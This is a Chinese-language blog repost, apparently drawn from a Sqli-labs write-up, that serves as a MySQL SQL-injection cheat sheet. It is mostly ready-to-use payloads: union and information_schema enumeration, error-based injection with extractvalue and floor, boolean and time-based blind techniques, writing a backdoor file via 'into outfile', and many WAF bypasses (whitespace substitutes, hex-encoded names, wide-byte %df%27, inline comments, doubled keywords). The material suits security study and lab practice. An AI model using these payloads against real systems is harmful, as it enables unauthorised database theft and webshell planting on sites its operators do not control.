mysql10种报错注入,SQL注入

转自:https://wywwzjj.top/2018/11/02/Sqli-labs-通关记录/#函数报错信息注入

MySQL 常用语句备忘

-- Default Databases

mysqlRequires root privileges

information_schemaAvailable from version 5 and higher

Comment Out Query

# /**/ -- - ;%00 `

select user();-- 数据库用户名

select version();-- MySQL版本

select database();-- 数据库名

select @@basedir;-- 数据库安装路径

select @@datadir;-- 数据存储路径

select @@version_compile_os; -- 操作系统版本

show global variables like '%secure%';--

if(expr,v1,v2)-- expr正确则v1,否则v2

select case when expr then v1 else v2 end; -- 与 if 功能相同

select concat('11', '22', '33');-- 字符串连接 112233

select concat_ws(x, s1,s2...sn)-- 以 x 作为连接符,将字符串连接

select group_concat()-- 把查询出来的多行连接起来

select mid(str, start, count)-- 从start开始截取count个字符

select substr(database(), 1, 1)-- 与mid同

# 如果用不了逗号,直接 from start for count

# union select * from (select 1)a join (select 2)b == union select 1,2

select left(str, count)-- 截取左边count个字符

select ord()-- 返回第一个字符的ASCII码

select ascii()-- 与ord同

select char(32, 58, 32)-- ' : ' 即空格+ : +空格

select length(database());

delete from table_name where id=1;-- 不加限制条件将删除整张表

drop database ds_name;

drop column column_name;

alter table table_name;

update table_name set column_name='new' where id=1; -- 更新

/*!50000select*/

where id = 0.1 union select ...

xor, ||, &&, !, not,<>

注入类型

union 注入

所查询的字段数需与主查询一致

字段数可先用 order by x 来确定

union select 1, 2 from user where id = 1 or 1=1

information_schema 注入

存储数据库信息的数据库

数据库名

schemata => schema_name

tables => table_schema

columns => table_schema

表名

tables => table_name

columns => table_name

列名

columns => column_name

select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表

select 1,group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167; -- 获得所有列名(字段),table_name 参数进行十六进制编码后可绕过引号被过滤

-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

-- 下载数据

-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # -- 获取表中的字段名

函数报错信息注入

前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端

常用报错函数:updatexml(), extractvalue(), floor()

十种MySQL报错注入

and (extractvalue(1,concat(0x7e,(select user()),0x7e)));%23

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);%23

基于函数报错信息获取(select, insert, update, delete)

insert / update / delete 注入

结合函数报错信息,将函数插入到语句中

http header 注入

如 XFF,referer

观察点:后台收集了请求头中的信息,并存入到数据库中

布尔盲注

结合 and 进行逻辑判断

效率太低,写脚本爆

时间盲注

无显示回显,可在以前的基础上加入 sleep() 语句,若明显延迟,则注入成功

BENCHMARK(count,expr) 执行 count 次的 expr,如 BENCHMARK(10000000,SHA(‘1’))

即使 sleep 和 benchmark 都被过滤了,但是我们依然可以通过让Mysql进行复杂运算,

以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积

select count(*)

from information_schema.columns A,

information_schema.columns B,

information_schema.columns C#

还有 get_lock()

利用注入写入后门

前提:开启 secure_file_priv,并且具有写的权限

select 1,2,'' into outfile 'H:\\a.php'--%20

Bypass

检测被过滤的关键词:

fuzz 一波 ASCII 码

id = 1 ^ (length(‘xxx’)=3)

空格

使用注释绕过,// (/\1/)

使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 ( ) 包围

select(group_concat(table_name))

from(information_schema.tables)

where(table_schema=database())

使用符号替代空格

%20 空格

%09TAB 键(水平)

%0bTAB 键(垂直)

%0dreturn 功能

%0c新的一页

%a0空格

%0a新建一行

SQLite3 0A 0D 0C 09 20

MySQL5 09 0A 0B 0C 0D A0 20

PosgresSQL 0A 0D 0C 09 20

Oracle 11g 00 0A 0D 0C 09 20

MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

引号

select column_name from information_schema.tables where table_name="users"

如果引号被过滤了,那么上面的where子句就失效了,此时可以使用十六进制。 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name from information_schema.tables where table_name=0x7573657273

宽字节绕过

%bf%27 %df%27 %aa%27

逗号

substr(), mid() 里的逗号可用 from for 代替

select substr(database(0 from 1 for 1);

select mid(database(0 from 1 for 1);

对于 limit 里面的逗号可以使用 offset 绕过

select * from news limit 0,1

<=>

select * from news limit 1 offset 0

比较符

大于、小于可用 greatest(), least() 代替,还可以 between and

select * from users where id=1 and ascii(substr(database(),0,1))>64

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

条件连接词

利用符号:

and => &&

or => ||

xor => |

not => !

大小写变形: Or, OR, oR

添加注释: o/**/r

编码:hex, urlencode

union, select, where

(1)使用注释符绕过:

//,-- , /**/, #, --+, -- -, ;,%00,--a

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

sele%ct IIS 服务器可以插入 %

(2)使用大小写绕过:

id=-1'UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

(4) 双关键字绕过:

id=-1'UNIunionONSeLselectECT1,2,3–-

(5)科学计数法

id=0e1union

表名等关键词

以information_schema.tables为例

空格 information_schema . tables

着重号 informationschema.tables

特殊符 /!informationschema.tables/

别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)

注释符

常用注释符:#, --+, /**/,可以用 ;%00 代替

不用注释符,与后面的语句构造闭合就行,如 ||'1,恰好与 ’ LIMIT 0,1 闭合

等号

使用 like 、rlike 、regexp 或者 < , >

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值